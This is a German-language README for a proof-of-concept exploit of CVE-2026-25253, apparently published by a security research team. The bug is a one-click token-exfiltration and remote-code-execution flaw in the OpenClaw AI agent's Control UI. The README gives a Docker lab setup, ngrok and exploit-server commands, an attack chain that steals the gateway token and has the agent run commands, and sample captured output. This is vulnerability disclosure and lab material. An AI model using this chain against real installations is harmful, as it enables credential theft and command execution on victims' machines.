CVE-2026-25253 OpenClaw 1-Click RCE

★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★

https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e

Beschreibung

CVE-2026-25253 : OpenClaw Authentifizierungs-Token-Exfiltrations-Schwachstelle

Beschreibung: OpenClaw (auch bekannt als clawdbot oder Moltbot) vor v2026.1.29 ermöglicht es Angreifern, ein gespeichertes Gateway-Authentifizierungs-Token zu exfiltrieren, indem sie einen manipulierten gatewayUrl-Query-String-Wert an die Control UI übergeben, die automatisch eine WebSocket-Verbindung ohne Validierung oder Benutzerbestätigung herstellt. Dies kann zu unbefugtem Gateway-Zugriff und 1-Click Remote Code Execution führen.

Voraussetzungen

• Docker (Docker Desktop unter Windows)
• Python 3.x (Angreiferseite)

Dateien

• Dockerfile — erstellt die verwundbare OpenClaw-Umgebung
• templates/ — bösartige Webseiten, die vom Exploit verwendet werden
• config.txt — OpenClaw-Konfiguration, die in der Opferumgebung verwendet wird
• exploit.py — Exploit-Server
• requirements.txt — PoC-Abhängigkeiten

Umgebungseinrichtung

1. Docker-Image erstellen

docker build -t openclaw-vuln .

2. Umgebung ausführen (Windows)

docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln

3. SSH-Tunnel erstellen

ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 [email protected]

• Passwort: openclawlab

4. Auf die OpenClaw Control UI zugreifen Öffnen Sie die folgende URL im Browser

http://127.0.0.1:18789/

1. Geben Sie das Gateway-Token d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66 ein
2. Klicken Sie auf Connect
3. Öffnen Sie den Tab Config
4. Fügen Sie den Inhalt von config.txt ein
5. Ersetzen Sie das API-Key-Feld durch Ihren OpenAI API-Key
6. Speichern Sie die Konfiguration
7. Bestätigen Sie, dass der Agent normal antwortet

Proof of Concept (PoC)

1. Abhängigkeiten installieren (Angreiferseite)

pip3 install -r requirements.txt

2. Exploit-Server über HTTPS bereitstellen

wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337

• Kopieren Sie den generierten Weiterleitungs-Hostnamen

3. Exploit-Server ausführen

python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"

Beispiel:

python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"

4. Den Angriff auslösen

1. Öffnen Sie die bösartige Seite, die vom Exploit-Server bereitgestellt wird
2. Simulieren Sie die Interaktion des Opfers mit der Seite
3. Lösen Sie den Exploit-Ablauf vom Browser aus

Angriffsablauf

1. Eine bösartige URL ändert die gatewayUrl der Opfer-Control-UI
2. Der Browser verbindet sich automatisch mit dem vom Angreifer kontrollierten WebSocket-Endpunkt
3. Das Gateway-Authentifizierungs-Token wird an den Angreifer geleakt
4. Die bösartige Seite verwendet das gestohlene Token, um eine neue WebSocket-Verbindung zum lokalen OpenClaw-Gateway des Opfers zu öffnen
5. Eine Befehlsausführungsanfrage wird über den Agent gesendet
6. Das Ausführungsergebnis wird an den Angreifer-Server zurückgegeben

Erwartetes Ergebnis

• Der Browser des Opfers wird in den bösartigen WebSocket-Ablauf umgeleitet
• Das Gateway-Authentifizierungs-Token wird vom Angreifer erfasst
• Der Angreifer kann eine Befehlsausführungsanfrage über OpenClaw senden
• Die Befehlsausgabe wird an den Angreifer-Server zurückgegeben

Beispielausgabe

[*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66

==================================================
      [!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================

Hinweise

• Dieser PoC zielt auf OpenClaw 2026.1.24-1 ab
• Die Exploit-Kette beruht auf der verwundbaren gatewayUrl-Verarbeitung in der Control UI
• Für den Remote-Zugriff auf das Opfer muss die bösartige Seite über HTTPS bereitgestellt werden
• Das lokale OpenClaw-Gateway wird über den Browser des Opfers als Brücke erreicht

EQST Insight

Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen anzusehen.

• KR : https://www.skshieldus.com/security-insights/reports/eqst_openclaw_rce_vulnerability
• EN : https://www.skshieldus.com/en/report?tab=eqst